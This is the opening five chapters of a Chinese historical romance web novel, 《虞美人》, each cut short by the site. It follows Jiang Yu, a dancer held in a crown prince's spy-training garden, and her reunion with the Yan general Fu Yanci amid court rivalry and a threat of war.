《虞美人》 1. 顶替 《虞美人》全本免费阅读 夜幕低垂,月色如水,朦胧的光辉倾洒在地面,温柔而清绝。 被繁花笼罩的瑶园之中,姜虞百无聊赖地拨弄着琴弦,眉眼之中神色淡淡。 指尖勾抹滑勒,琴音似流水般泻出,声声入耳。 庭院外面人来人往,嘈杂声不断,却仿佛对她毫无影响。 斑驳的光影透过层层摇曳的枝叶映照在她脸上,余光瞥见身旁的少女欲言又止,便停下了手中的动作。 “听说今日园子有贵客到访,几乎整个园子的姑娘都去凑闹了,姐姐为何兴致缺缺?”到底是个半大丫头,纵使青枫面上佯装漠不关心,但眼神之中的憧憬却是遮盖不住。 琴音骤然消失殆尽,周遭的声响好似更大了些,姜虞理了理皱起的裙摆,往一旁的茶台走去。 “瑶园的消息无一不是来自殿下,园子里别的姑娘都知晓此事,唯独我不知情,你说我该去吗?”姜虞清冷的声音一字一句灌入青枫耳中。 她的声音彷佛有术法一般,青枫本还躁动的心渐渐平稳下来,这才意识到有些不对劲。 身为姜国太子,姜衡一手创办了这瑶园,明面上是给了无家可归的弱女子一个安身之所,暗地里却是意在将女子培养的文武双全,好为姜衡搜集各路情报。 瑶园之中上百名女子多数都是无名之人,平日里她们都以排行相称,仅有五名女子被赐了名,而姜虞是最独特的一位,冠了殿下之姓。 往日殿下送到瑶园的稀奇玩意接连不断,但总会优先考虑姐姐,如今这幅局面,莫非是姐姐惹了殿下不快? 脑海中走马观花式的闪过近日来姜虞的所作所为,青枫实在想不出殿下为何独独针对她? 思绪混乱,青枫心中没底,愈发担忧姜虞。 毕竟姜虞能有今天,全靠殿下帮扶,放眼整个姜国,因着殿下偏爱,众人都敬她三分,外界皆传太子妃之位只会是姜虞。 也正是因为这个传言,姜虞暗地里不知结了多少仇家,但凡有一日殿下收回了对她的庇护,那些觊觎她的纨绔,嫌她抢了太子妃之位的贵女,只怕都要前来踩上一脚。 这边青枫好似如临大敌,反观姜虞,面上波澜不惊,手上只专注着烹茶,全然没把此事放在眼中。 “既来之则安之,若真如你所想,操心也没用。”青枫的不安太过明显,两人日夜相伴十年,姜虞抬眼一望便猜到她心中所想,她一边继续手中的动作,一边出言安抚。 细长的指尖捻起一撮茶叶倒入壶中,随后缓缓注入滚烫的热水,轻轻晃了晃,又迅速倒出。 长久触碰壶身得指腹已然透出微红,姜虞却置之不理,再次注入热水,几番动作下来,鼻息间已有清香满溢而出。 经她出言安抚,青枫轻叹了口气,适时递过杯盏,又笑着道:“这么多年过去,姐姐的茶道之术当真是越发精湛了。怪我当初有眼不识泰山,竟觉得姐姐是那种心思沉重,喜欢勾心斗角之人。” 说起来两人初次见面还是十年前,那时姜虞仅仅只有八岁,她也不过是个五岁孩童。那会大燕内乱不断,她们二人皆逃往姜国,于半途中相遇,又恰好撞见年仅十岁的姜衡跟随众将士回城,他声称给她们一个机会表现,成功者便能随他一起回姜国。她仍记得姜虞满身泥泞,唯独洗净了一双手,满眼闪烁着期冀给姜衡斟了一杯茶。 而当时的她却是稚童无知,为了活命,夺了一柄比自己还长的剑就要往姜衡身上抡。 至于为何她们二人都被带了回来,姜衡曾说过:“两军交战本就力竭,姜虞的茶恰到好处消散疲惫,而青枫的剑透出几分威胁意味,一人攻心,一人攻身,岂不妙哉?” 或许也是那时,让姜衡萌生出建立瑶园的想法。 记忆被青枫带着飘向十年前,姜虞眼底滑过一丝感伤,眨眼间又恢复平静。说实在话,今日这局面确实令她有些好奇。 放眼整个姜国,无论才情或是样貌她都当得起魁首一称,更别提名动天下的舞姿。 姜虞脑海中思绪纷飞,指尖无意识挑起几缕青丝拨弄。这习惯自打她记事起便有了,总归是不痛不痒的小动作,她便也没刻意控制改掉。 往日瑶园来客时,无一不是她亲自登台,而今贵客莅临,姜衡几乎出动整个瑶园却唯独瞒着她,只有一个可能—— 此人不在姜衡掌控之中。 思绪瞬间明了,姜虞眼神耐人寻味,将茶递到嘴边又顿住,白气腾升迷蒙了视线,眼睫轻颤了下,她眼帘半抬看向门外,一位身姿高挑的女子款款而来。 “今日可是瑶园的大日子,虞姐姐怎么还在院里烹茶?不去前院瞧瞧?”白鹭面上扬着笑,目光中却没有一丝善意。 从她进门那一刻,姜虞便知道此番过来定没好话,自顾自饮着茶,将人晾在一边。 “姐姐还不知道吧,今日园子来了贵客,殿下指名让我上台献舞,说是代表姜国的脸面,”见她不搭理,白鹭也不恼,嘴边絮絮叨叨说着,没一会又伤感起来,情绪转变之快令人咋舌:“可惜妹妹手中寒酸,连件相样的衣裙都没有,不似姐姐那般好福气,听闻前些日子殿下还给了姐姐用云锦做了一套衣裙。” 话语之中的意图再明了不过,姜虞看破不说破,不慌不忙抿了一口茶,出声道:“殿下素来细心,他这般看重今日,竟是忘了给你备上一套像样的衣裙,实在不该。” 两人的唇舌之战向来是姜虞占上风,白鹭冷哼一声,语气轻挑:“平日里殿下确实待你不错,但那又怎样?今日来的可是大燕将军,姐姐还不是只能蜗居在这一方庭院之中。” 大燕将军? 不过言语一激,姜虞三两下便将话套了出来。 脑海中闪过一道少年身影,指尖轻轻敲了敲杯身,姜虞来了兴致。 茶盏与桌面碰撞,轻轻一声,安稳落定。半满的水面晃荡,倒映出一双勾魂摄魄的眼眸。 心知透露了旁的消息,白鹭说完就往外走,却听姜虞突然松了口:“总归都是瑶园的姐妹,区区一件衣裳算得了什么。青枫,替我进屋去拿吧。” 饶是亲耳听见,青枫仍旧不愿相信,皱眉再三确认:“姐姐?” 要知道白鹭没少对姜虞使绊子,只可惜那姑娘蠢笨,姜虞是个有仇必报的主,愣是一次都没让她讨到好。 心中纵使再不情愿,但姜虞已经开了口,想必是有自己的打算,青枫瞪了一眼白鹭,便依言照做,往屋子里去了。 翻找间,外面传来姜虞看似无意的提醒:“里面杂物众多,可别拿错了。” 没多久青枫就将那套衣裙摆在姜虞面前,同她交换了个眼神。 姜虞垂眸看向面前绽放着流光溢彩的衣裙,指尖依依不舍似的扫过表面,浅色的衣裙和染了蔻丹的甲叠在一起更显得她妖艳,她挑起一角衣裙问道:“这衣裙好看虽好看,却是十分难穿,妹妹可需要我搭把手?” 听不出她语气中的真情假意,白鹭担心她反悔,笑着道了声谢便拿了衣服往外走。 刚走出不远,院子里就传来姜虞的声音:“好戏开场了。” 尾音上扬,轻柔的嗓音透出说话人的几分玩味。 * “太子殿下这瑶园还当真是卧虎藏龙,眼前的几位姑娘都算得上貌美如花。听闻姜国还有一位堪称天下第一绝色的虞美人,就养在这瑶园之中,不知本将今日可否有幸一睹芳容?” 前院里确实如青枫所说热闹非凡,姜衡所在之处位于瑶园中央的一方凉亭,正是观赏的绝佳之地。 凉亭四周蒙了一层薄纱,稍稍有风吹过便会肆意飘舞。前方戏台上正有姑娘起舞奏乐,让人赏心悦目。 姜衡看着问话的那位男子,斟酒的手不为所动,但眉眼间的热络明显淡了下来。 他放下酒壶笑着道:“原以为傅将军不在乎这些俗 2. 逗弄 《虞美人》全本免费阅读 身份被识破本就在傅砚辞预料之中,他点了点头没应声,随后安然理得地坐在正对着姜虞的一面,看向姜虞的视线不加遮掩。 那眼神十分纯粹,不曾夹杂一丝情愫,彷佛只是单纯欣赏眼前那抹柔媚。可神情未免太过投入,不得不让姜衡心生怀疑。。 他瞥了一眼姜虞,那张素来冷艳的面容找不出任何破绽,便转过头问道:“傅将军胡乱拉一个人来诓骗孤,是不是有些过分了?” 心中对傅砚辞多有不满,姜衡甚至没让人替他看茶。 自从几年前两国大战之后便消停了几年,再加上两边的将领从未私下会过面,彼此都只听闻过对方的名号,姜衡今日认错人也实属正常。 听他语气里的怒气都快喷涌而出,傅砚辞反客为主替姜衡倒了杯茶递过去,解释道:“在下可不曾诓骗殿下,此人乃是大燕副将赵承安。或许是殿下一时不察,听岔了吧。” 大战在即,昨夜傅砚辞正在军中部署作战计划,下属突然告知姜衡传信来邀约他前往姜国瑶园一见,军中众人都猜不透他打的什么算盘,只是有过上次另一位将军的前车之鉴,估摸着又是个鸿门宴。 这才有了今日赵承安代替傅砚辞前去赴宴,两人以信号为令,若当真情况不妙,傅砚辞也好想法子应对;若无事,左右都是“傅”将军,便只能怪姜衡自己没留意了。 还未正式交锋,姜衡就吃了个哑巴亏,好在没什么大影响,便咬牙认下了。但还有一事他不明白,傅砚辞从未来过姜国,与姜虞应当素不相识,为何今日会一同进来?举止还那般亲密? 眼中神色晦暗不明,姜衡看着身旁目不斜视,一脸恣意的傅砚辞问出了声。 话音落下的瞬间,恰好后方的琵琶声也跟着停了下来。只闻一阵银铃声响,台上姜虞风眼上勾,似漾着陈年美酿惹人醉,又似含着无尽情丝令人痴。 “姜虞给诸位公子见礼。” 举手投足之间,将女子的柔媚拿捏的恰到好处。她浅笑着垂首躬身,动作有些慵懒,起身时目光若有似无地投向傅砚辞,意味深长。 眼神交汇的一刹那,周遭的一切仿若不复存在,只余那张冶丽的面容映入眼底,搅乱了傅砚辞的思绪,令他稍稍出神。 思绪回笼,想起方才碰见姜虞的情形,他回答得随意:“碰巧撞见美人有难,在下便顺手帮了一把。还请殿下放心,在下做事不求回报,自然也无需美娇娘以身相许。” * 一炷香之前 傅砚辞看见赵承安传出的信号知晓此行安全,权衡利弊之下不好当真惹急姜衡,便往瑶园赶了过来。谁知一来便撞见有人吵闹,他本不想多管,匆匆一瞥却让他瞧见了姜虞的面容,一时间让他怔在原地。 眼前的女子三千青丝如瀑,鬓发间是华丽的金钗与坠着铃铛的步摇,眼尾上挑带着几分睥睨,让人心生臣服。 莹白润透的肌肤仿若珍珠般晃眼,身段错落有致,傅砚辞不自觉便被那截裸露在外白嫩纤细的腰肢吸引,只一眼,便乱了心。 眸光游走至她面上,一双眸子深似幽谭,彷佛一不留神就会陷入其中。再定睛一看,她眼角那颗朱砂痣简直是神来之笔,一颦一笑皆美艳动人。 “祸国殃民。”望着眼前人的身影,傅砚辞唇角含笑低喃。 仅仅是惊鸿一瞥,便叫他鬼使神差般停下了脚步,悄声隐匿在一旁的暗处,好整以暇望着前边。 “姜虞!你故意的!假惺惺将那衣裳给我,背地里却用这种腌臜手段,你无耻!” 眼前说话的正是白鹭,那张还算出挑的面容不知为何浮现起点点红疹,她一面咒骂,一面就要朝姜虞动手,却被姜虞不动声色躲开,还顺带一把反擒住她。 早会料到是这般场景,姜虞眼中闪过讥讽,俯首贴近白鹭耳边,轻声道:“这裙上的粉,不是妹妹亲手洒上去的吗?如今怪得了谁?” 那日她刚收到这裙子,白鹭便趁她不在到她院中翻看,在那衣裙上撒了些令人一碰就痒的粉末,恰好被青枫撞见她鬼鬼祟祟,一经调查便发现她做了手脚。可她偏偏忘了,姜衡最不缺的就是钱财,同样的衣裳向来都会送两套以备不时之需。 想来白鹭是觉得那衣裳她穿在身上无事,便认为那粉末被除干净了,这才又动起了歪心思。 看着白鹭瘙痒难忍,得饶人处且饶人,姜虞本不想再管,没成想白鹭非要闹个鱼死网破,一把将姜虞出场要用的绳索扯断。 尽管手心被磨破,渗出鲜血,但白鹭不觉疼痛,眼中噙着泪话语中却含笑:“今日我上不了台,你也别想好过!” 看着绳索上残留的血迹,姜虞眉心拧了起来,眼神一狠,掐着白鹭的下巴,冷声道:“你既知今日来的是何人,如此胡作非为,就不怕殿下怪罪?” 瑶园帮衬姜衡收集情报多年,信息接收传播都是及其迅速,怎会不知近来局势?两军交战前夕,姜衡约见他国将领,谈论的无非是战或和的问题,但偏偏他将局设在了美人如云的瑶园,其中关联可想而知。 自古英雄难过美人关,也不知大燕来的那位将军,会不会上钩? 被姜虞一语点醒,白鹭这才隐隐有些后怕,姑娘家的打闹算不得什么,但若是耽误了殿下的正事…… 姜衡从来不是怜香惜玉之人,瑶园中犯下过错的女子在他手中从未落过好下场。 “你想怎样?”白鹭冷静下来想了想,还是朝姜虞开了口。 见她安分下来,姜虞抖了抖衣袖,眼神移向远方再度开口:“你只需告知殿下抱病在身,别的交由我来处理,保你相安无事。” 最后一字落下,眼底寒光一现,望着视线中出现的那道模糊身影心道不妙。人多眼杂,尚未清楚来者何人,姜虞便支开了白鹭方才往前方走去。 “公子气质不凡,做得却是听人墙角之事,怕是有失风度。” 隐匿在暗处的傅砚辞见另一名女子已然离开,恰巧姜虞也发现了他,便顺势走到光亮处,与姜虞相隔不过几步之遥。 心下仿若空了一拍,姜虞毫无准备再次见到傅砚辞会是这般场景,眼底的惊诧一闪而过,震惊之余又恍然大悟,原来今日来的大燕贵客还真是他。 两人都没说话,姜虞打量着他的眉眼,与记忆中的轮廓有些相似,但更多的还是陌生。 怔愣不过一瞬,她很快平复下心情,见傅砚辞眼中神色无异,便知她的身份没有暴露,有些庆幸又有些失落。 也对,从前两人也不过有着几面之缘,认不出来也是意料之中。 她望着傅砚辞唇角绽出笑,眼前人的出现让她心中藏匿十年之久的仇恨渐渐浮上心头。 或许,傅砚辞能带她回到大燕。 心中起了念头,姜虞主动开口问道:“听闻瑶园今日来了贵客,公子这是迷路了?” 全然不知姜虞内心所想,傅砚辞站近盯着她看了好一会,怅然若失。 从前那人不学无术,嚣张跋扈,怎会是这般模样?或许早已不在人世也未曾可知。 没理会姜虞的调侃,傅砚辞看见一旁断开的绳,大发善心问了一句:“姑娘可需要在下帮忙?” 此举正中下怀,姜虞求之不得,自然不会拒绝。虽说瑶园之中女子都会武功,但毕竟明面上只是一群手无缚鸡之力的弱女子,若非必要自然不会暴露自己。两人一拍即合,于是便有了方才众人所见的那一幕。 * 耳边琴声再次响起,视线飘转回到眼前,傅砚辞望着姜虞若有所思。 茶盏送到面前,忽闻一阵芳香,傅砚辞摩挲着指尖,回想方才美人在怀的场景,心底的躁动起伏,只不过他不曾留意。 这是姜虞身上的味道,分明是清淡的花香偏偏给人一种极具攻击性的感觉,冷冽又令人 3. 交缠 《虞美人》全本免费阅读 似乎还不能确定,姜衡微眯着眼将视线转移到姜虞身上,试图从她身上看出什么破绽。 知道他心中仍有猜忌,姜虞双手交叠神态自若站在原地任他审视,面色从容应对他的目光。 两人眼中暗流涌动,无声的对视让旁观的傅砚辞心中一阵没由来的烦躁。 骨节分明又修长的手指晃荡着茶杯,语气不怀好意:“殿下身份尊贵,不愿替在下斟茶就算了,怎的殿下连这美人的一口茶都舍不得让在下喝?” 听见傅砚辞出言调侃,赵承安脑中好一阵反应不及,不免咋舌。 且不说只是一口茶,从前傅砚辞所到之处那么多姑娘上赶着想要送他东西,多贵重的都有,也没见他收下,如今仅是一口茶竟让他主动出言讨要? 他的视线在两人身上来回转动,见傅砚辞的眼神依旧没有收敛,面容带笑直勾勾地盯着人家姑娘,赵承安眼皮猛地一跳。 他们不会真的从前就认识吧?看他这模样,莫非还是单相思? 下一瞬,姜虞便亲自打破了他的幻想。 “傅将军远道而来,殿下招待多有不周,还望将军海涵。姜虞承蒙殿下照顾,在这瑶园之中待了十年光景,从未出过姜国,想来是不曾同将军见过面。”姜虞将他杯中的茶斟了个七分满,又转向姜衡,话语中尽是为他着想,让他心情平复了不少。 好不容易见姜衡面色恢复如常,赵承安唯恐傅砚辞再说出什么话惹得姜衡不悦,连忙对着姜虞使眼色,暗示她准备几道下酒菜来。 本来很正常,偏偏赵承安控制不住自己的眼神,在姜虞身上胡乱瞟着,眼眸之中泛着光。 身边的气压好似变得更低了,姜虞心中暗叫不好。 真是一波未平一波又起,姜衡这会只怕想杀人的心都有了。 她佯装镇静稍稍侧身,询问的眼神落在姜衡身上,让他心中舒爽了不少。 但紧接着,姜虞便感觉身前有一道炙热的视线落在她身上,似要将她灼穿。她不敢抬头去寻,得了姜衡首肯便逃也似的往外走去。 凉亭之中一阵静默,直至姜虞再度回来。 刚踏上台阶,后边端菜的姑娘突然踉跄了一下,重心不稳摇摇欲坠,她担心手中的菜摔了会令姜衡不悦,慌忙之中一把抓住姜虞的手腕。 彼时她正站在傅砚辞身边,手臂猝不及防被人抓住向后倾,倒下去的一瞬间,姜虞闭上了眼心中暗骂。 这么多年从未出过差错,怎的偏偏是今日? 她心如死灰等了少顷,忽感周身温热的体温源源不断传来,姜虞心中预感不妙。 果不其然,耳边紧随其后的便是傅砚辞清冷的声音:“姜姑娘再不起身,你家殿下的眼神就快将在下吞没了?莫非是在下的怀抱太温暖,让姜姑娘流连忘返?” 空气中一片死寂,偏偏傅砚辞佯装不知,一手揽着姜虞,一手品茶。 因着方才的意外,姜虞这会衣钗散乱坐在他腿上,眼底浮现出一丝赧然。刚想借力起身却又坐了回去,垂眸一看,才发觉衣裙上的饰品同傅砚辞的外袍缠在了一处。 想到旁边还有姜衡,而两人如今的姿势实在糟糕,姜虞心中着急,手上的动作越发慌乱,不但没解开,反倒缠进去更多。 耳边响起一声低笑,引得姜虞一阵酥麻,她下意识仰头,却被突然靠近的面容惊住甚至忘了呼吸。 傅砚辞手臂从她身后绕至前方,使得她不得不朝前贴近,下颔抵在傅砚辞胸膛上,鼻息间一阵檀香扑面而来,勾得她心下躁动。 相比姜虞,傅砚辞显然沉静许多,三两下便解开了。 松开手中力道时还不忘附在姜虞耳边道:“姜姑娘确实秀色可餐,可惜,在下不吃这套。” 姜虞抬眸对上他玩味的眼神,心中好似被针扎了一下刺痛难耐。 眼睛不会骗人,纵使他面上笑容再甚,好似十分眷恋她一般,但眼底的清醒却是瞒不过她。 今日姜衡设局在瑶园,无非是想故技重施,用女人当作交换条件,可傅砚辞又怎会是贪图美色之人? 只怕如今在傅砚辞眼中早已将她当作姜衡派来勾引他的人吧。 心中的慌乱渐渐平复,姜虞着急忙慌起身,方才这么一闹,着实令她无法心无旁骛待在此处,抬眼看向姜衡,见他面色阴沉,估摸着此时此刻,应当也不愿见她,于是便寻了个由头自行离开了。 一阵叮当声响,傅砚辞目光滑过那双裸露在外的双足不禁皱起了眉,直至姜虞的身影越走越远,渐渐与黑夜融为一体,他才收回目光,心中好似突然抽痛了一下,生出几分异样的感觉。 旁边的赵承安借着那阵铃响悄声问道:“将军今日怎么回事?一会故意激怒姜衡,一会又故意撩拨人家姑娘?末将还以为将军真看上那美人了,可偏偏方才又说那般话,这让姜姑娘多难堪!” 越往下说,赵承安心中越气,实在摸不准今日傅砚辞吃错什么药了,他总觉得刚才那美人离开的背影有些忧郁。 思绪回归平静,傅砚辞眸色深沉,无意识地转动着手中的杯盏,随后一饮而尽,彷佛意有所指说得极轻:“自古英雄难过美人关,如此倾国倾城的美人,留在身边只会是软肋。” 一番话听着像是对姜衡所说,但赵承安总觉得有几分古怪。 见他神色突然黯淡下来,赵承安拿不准主意,也没敢多问。 * 夜凉如水,风云涌动,月牙被层层薄云遮盖住,雾蒙蒙的光晕让人觉得好不真实。 瑶园的另一端,姜虞步履匆匆回到院中,心中情绪起伏不止,愣愣地坐在院子里的躺椅上,思绪有些飘散。 “姐姐?怎的回来时也不穿鞋?可有磨破?”青枫听见声响便从屋子里走了出来,一眼就注意到姜虞赤着的足尖,神色慌乱。 姜虞舞姿惊人,声名在外,平日里一向很爱护自己的身体,今日这是怎么了? 她一边凑过去查看姜虞是否受伤,一边不忘问询今日可还顺利。 等了好一阵,见她不吭声,抬眼一看才意识到她情绪不高。 面前的姑娘穿着一身单薄的裙裳缩在躺椅上,她抬眼望着天边,问了青枫一个问题。 “青枫,你可有喜欢的人?倘若你喜欢的人讨厌你,你还会喜欢他吗?” 十年来姜虞从未问过感情上的事,偏生今日见了那大燕贵客之后如此心绪不宁,青枫也是心思敏捷,试探性地问了一句:“今日来的大燕贵客,是姐姐的心上人?” 心上人吗? 从前在大燕,听闻傅砚辞的种种事迹只觉得心生钦佩,那时不懂情爱,只想着离他近一些。 姜虞没应声,只是唇角微微上扬的弧度出卖了她,一切尽在不言中。 若说旁人不清楚姜虞的来历还算情有可原,但青枫可是同她一起进入瑶园之中的,她们二人也是在大燕相遇,青枫虽从未问过她的身份,但对她不是姜国人心知肚明,自然也不会惊诧此事。 只不过当下还有姜衡对她虎视眈眈,若是此事叫他发现,这回姐姐怕是再不能免罪了。知晓姜虞心中有分寸,担心提及姜衡惹她生烦便没再多说。 脑海中思考着姜虞的话,她回道:“若我真有一日遇上这般情形,定不会再继续。天底下男人多了去了,又不是非他不可。” 两人相伴十年,早已经亲如姐妹,青枫不愿看见她这般感伤,哄她开心道:“姐姐人美心善,怎会让人讨厌?若真讨厌,便也是那人有眼无珠!” 因着青枫一番话,姜虞心中虽不能完全介怀,但也好受了许多。 看着脚上沾了些污泥,心中懊悔不已。 原以为他们十年未见,再次见面也不会有多大的起伏,没想到她竟为了一个男人慌乱至此,只怕稍后姜衡便要来兴师问罪了。 她穿上鞋打了水来,温热的水浸没足背,舒爽许多。 < 4. 示弱 《虞美人》全本免费阅读 眼前之人实在令人捉摸不透,姜衡完全猜不出傅砚辞心中想法究竟为何。 四周空气透出一片死寂,听见傅砚辞如此说,姜衡心中半信半疑,再谈论此事也只会给他自己添堵,便没再继续聊下去。 “都到这个地步了,孤也就不绕弯子,今日实则有一比交易想和傅将军谈谈。” 姜衡一面开口,一面在心中盘算此番能有几成胜算。 毕竟方才是他亲口承认,就是如姜虞那般的美人,在他眼中也不过是中看不中用的花瓶。 视线落在傅砚辞身上,姜衡那双充满算计的眸子根本不加掩饰,只听傅砚辞不动神色道:“殿下直说便是。” “瑶园光景傅将军今日也看见了,只要傅将军愿意止战,这瑶园上下凡是将军中意的的女子,都归将军。” 傅砚辞耐心等他说完,随后一笑了之,言辞犀利:“殿下行军打仗这么些年,学的原来是这些兵法。” 话语中的冷嘲热讽姜衡不是听不出来,他面色有些难看,心头堵着一口气沉默着没有应声。 凉亭中央安静下来,四周的孱弱的风声都能听的一清二楚,桌案上点着一支明烛,一只飞蛾始终围绕着那明火转个不停。 视线四处游走,傅砚辞看见那飞蛾心中一阵起伏。 明知不可为而为之,愚不可及。 “殿下说的美人,也包括姜虞?”视线从飞蛾上离开,傅砚辞深邃的眸子看向姜衡,好似随口一问,又像是刻意打探。 眼见姜衡面色陡然僵硬,他再度开口:“殿下莫不是拿在下当三岁小孩?不管殿下从前是用的何种手段不费吹灰之力便将我大燕城池夺了去,但今日是我傅砚辞在此,大燕城池——在下势在必得。” 仿佛是话说多了口干舌燥,傅砚辞抿了一口茶,想到什么有趣的事,眉峰轻挑,继而道:“至于美人,在下可没见过哪个聪明姑娘会迷恋打了败仗的王。” 言语中尽是对姜衡的不屑一顾。 上回大燕同姜国交战时,本该是由傅砚辞领兵迎战,到了最后不知大燕皇帝是听从了谁的耳边风,临门一脚换掉了主帅。 当时领兵的将军不过是凭借家中关系提拔上来的酒囊饭袋,本就经不住诱惑,最后惨败也在意料之中。 有了上一次的经验,听闻姜国再次来犯,这回傅砚辞倒是没有主动请缨。 众人心知上回大战输得一败涂地的根本原因就在主帅,想到傅砚辞百战百胜的赫赫战功,这次便有不少大臣推举傅砚辞挂帅出征,事关一国脸面,燕皇也想讨回那口气,这才派了傅砚辞迎战。 眼下见着姜衡还想故技重施,傅砚辞眼底泛起冷意。 战场之上,他最厌恶的便是这种惯会耍阴招,走旁门左道的小人。 大战前夕同敌方将领私下会面说出去总归是不太体面,傅砚辞将话撂下便迈着步子匆匆离开,好巧不巧和另一边正在找耳坠的姜虞撞个满怀。 * 月影如钩,一旁悬挂的灯笼与月光相融,铺洒在青石板上,如洗如洒。 或许是昏暗的环境促使,姜虞心跳如鼓,眼中只能看见傅砚辞一人。 两人正面相遇,傅砚辞却像是完全不曾看见她一般,直直从她身边走过,连个眼神都没分给她。 如此刻意的视而不见,倒是让姜虞心生诧异。 知他想逃避,姜虞偏不让他如意,出言唤住了他:“傅将军且留步。” 本来傅砚辞没打算理会姜虞,但这腿就好似突然僵硬了一般,站在原地止步不前,傅砚辞叹了口气,似是有些无奈。 倒不是别的,只是一同姜虞对上,傅砚辞总是有些无法自控,这种感觉很陌生,他不认为这是什么好事。 索性已然被她拦下,傅砚辞也不再急着回去,便出声问:“姜姑娘有何事?” 被他一下问住,姜虞还当真没想好该以何借口同他攀谈。 毕竟对于傅砚辞来说,他们不过是今日才相识。 身旁的青枫见状轻咳了一声,将姜虞的目光吸引了去,只见她手中晃悠了一下,手中的铃铛发出清脆的声响。 夜深人静,这声音不算小,在场的另外两人自然也都听见了。 见此,姜虞佯装失落,顺势问道:“方才回到院中我才发现不慎弄丢了一枚耳珰,同她手中那枚一样,不知将军可曾见过?” 目光顺着她手指的方向看了过去,傅砚辞想到如今正安稳躺在怀中的那枚耳珰,不知怎的,下意识就出言否认:“不曾见过。” 回答也是在姜虞意料之中,不过东西在不在他手中丝毫不重要,她不过是想要个搭话的借口罢了。 见此,她也只是佯装郁闷地点了点头,随后开口道:“不过是个坠子,丢了便丢了吧。” 沉默了不过一瞬,姜虞又再度开口,神色冷清,带着些感伤:“将军或许不知,我是大燕人。自打到这瑶园中来,便从未踏出过姜国半步,今日能见到将军倒是颇感意外。” 说完之后,姜虞不忘留心着傅砚辞的神色,见他眉眼间明显有着情绪波动,便心知她赌对了。 等了十年才有如今这个机会能接触到大燕,今日同傅砚辞一别,还不知下一次会是什么时候,她定是不会错过。 “你是大燕人?”傅砚辞神色诧异看向姜虞,心中推测着她的话有几分可信。 究竟是凑巧,还是姜衡故意安排此女来同他交际? 不过几个呼吸间傅砚辞便否认了心中的想法。 当年大燕之事当属机密严防死守,知晓其中内情的不过寥寥几人,且都心中清楚消息一旦泄露便会将大燕搅得天翻地覆,必然不可能叫姜衡知晓。 “是啊,这些年我受限于姜衡在这瑶园之中,已经许久未回过大燕了,将军可否同我讲讲大燕如今是何模样?”这话姜虞确实也没说错。 众人都说姜衡待姜虞极好,可唯独姜虞不知好在哪里。 世人眼中都只看见姜衡时不时就送她用不完的珠宝首饰和够她花上一辈子的金银钱财,又有谁知晓这十年她被困在这瑶园该是何种心情? 瞧见姜虞眼中的伤感不像是做戏,傅砚辞皱了皱眉,心中竟生出了一抹怜惜。 是因为她们长得太过相似吗? 听见身后传来一阵脚步,傅砚辞不必回头就能猜想来者何人,方才生出的 5. 解围 《虞美人》全本免费阅读 少年眼中的怀疑和狠戾夹杂在一处,绽放出令人不寒而栗的冷光。 姜虞轻抿了下唇,手心微微出汗,双目闪烁。 是她今日表现得太过明显?姜衡看出了什么? 还没等她理清思绪,就感觉到脸庞上传来一阵令她不适的触感。 姜衡另一只手的指尖肆意游走在她面上,像是品鉴什么宝物似的仔细摩梭,眸光中还充斥着对她的贪念。 心中一股厌恶感翻涌而起,姜虞紧绷着身躯,强忍着心底的不适,任由他动作。 如今姜衡情绪不稳,若是一味反抗,只怕会更加刺激到他。 “从前怎么不见你盯着哪个陌生男子看如此久?先前在台上,你同他说了什么?”指尖在眼角处停下,姜衡凝视着她的眼睛问道。 颈间被他一手掐住,姜虞难受地挣扎了一下,大抵是他良心发现,稍稍减轻了些力道,但没有一丝一毫想放过她的意愿。 好在他过问的只是先前台上一事,姜虞松开攥紧的拳,心底松了口气。 按如今的情形来看,姜衡应当是不曾听见她与傅砚辞对话,尽管如此,她还是要谨慎些应对。 脑海中因为呼吸喘不上气反应变得迟钝,缓和了好一阵才开口:“今日上台前突发意外,恰好傅将军遇见便帮了我一把,我便同他道了声谢。此事白鹭也知情,殿下大可一问。” 话说出去颈间的束缚不仅没有松开,反倒是在听见白鹭名字时更加锁紧了些。他的反应出乎姜虞预料,心中升起一抹不好的预感。 “是吗?孤怎么听说,今日白鹭无故缺席,是你的手笔?”话音到后面越发狠厉,连带着手中的动作也重了些,姜衡双目赤红,眼底一片阴鹜透露出刺骨寒意,他咬牙切齿道:“你就这么想见他?” 命脉被姜衡拿捏在手,姜虞心中暗骂。 她竟妄想同白鹭这等阴险小人合作。 眼前的视线开始渐渐涣散,意识也变得模糊,姜虞右手指尖泛白,死死掐住姜衡的手腕想要逃离。 左手悄无声息从腰间襟带抽出一根细长银针,目光向下缓缓移至姜衡脖颈,千钧一发之际,一道男声让她停下了动作。 “在下走到一半才想起有样东西忘记拿了,如今不请自来,还望殿下莫怪。” 对于眼前的场景傅砚辞似乎有些意外,他抿唇看向任人拿捏的姜虞,回首之际一道冷光从他面上一闪而过,让他脚下一顿。 视线从姜虞空空如也的手上移至那张满是惊恐的面容,傅砚辞眼中神色晦暗不明,紧接着目不斜视往凉亭走去。 只是途径两人身边之时,还不忘补充一句:“原还以为殿下是怜香惜玉之人,没想到手段竟是这般狠辣。瞧见美人落泪,在下都心疼了,早知如此,倒不如先前就应了殿下。” 有外人在此,姜衡冷眼扫向姜虞,理智渐渐回笼,最终还是松开了手。 脖子上没了束缚,只留下几道红痕。姜虞终于得以畅快地呼吸,她大口喘着气,冷不丁被呛了一下,猛地咳了几声,额角也渗出薄薄一层汗。 身体好似脱水般无力,姜虞倚靠着墙边,眉心微微蹙起,视线不敢乱瞟,只是垂眸沉思着。 这个时间傅砚辞去而复返未免太巧合了。 脑海中一个念头一闪而过,想到先前被她支走的青枫,心中暗叫不好。 这丫头,真是太过莽撞了。 整个瑶园都在姜衡的掌控之中,更何况暗地里还不知姜衡安插了多少人盯着她院里,若傅砚辞当真是青枫叫来的,只怕出不了半个时辰,姜衡就能知道原委,届时她和傅砚辞之间更加说不清了。 不过如今也好,有傅砚辞出面解围,也省得她落得个谋害姜国太子之名。 见姜虞靠在一边没理会傅砚辞,姜衡眼中的怀疑却是丝毫不减,听到后方脚步临近,他便出声问道:“傅将军落的东西可找到了?下回若是再落在这,孤可不还了。” 两人言语之中的交锋姜虞不是听不出来,他这意思明摆着不信任傅砚辞此番用意,语气之中也是明晃晃的警告。 趁着两人说话的空挡,姜虞没忍住抬眼看向正往外走的男人,隐隐间好似听见什么熟悉的声响,愣了一下。 “不劳殿下挂心。东西找到了,虽说是个小物件,但在下偏生欢喜得紧,这才特地走这一趟。今日多有叨扰,告辞。”傅砚辞面上状似对着姜衡流露出愧疚之色,余光中却是留意着姜虞。 只一眼,便看见白皙的脖颈上残留着鲜红的指印。 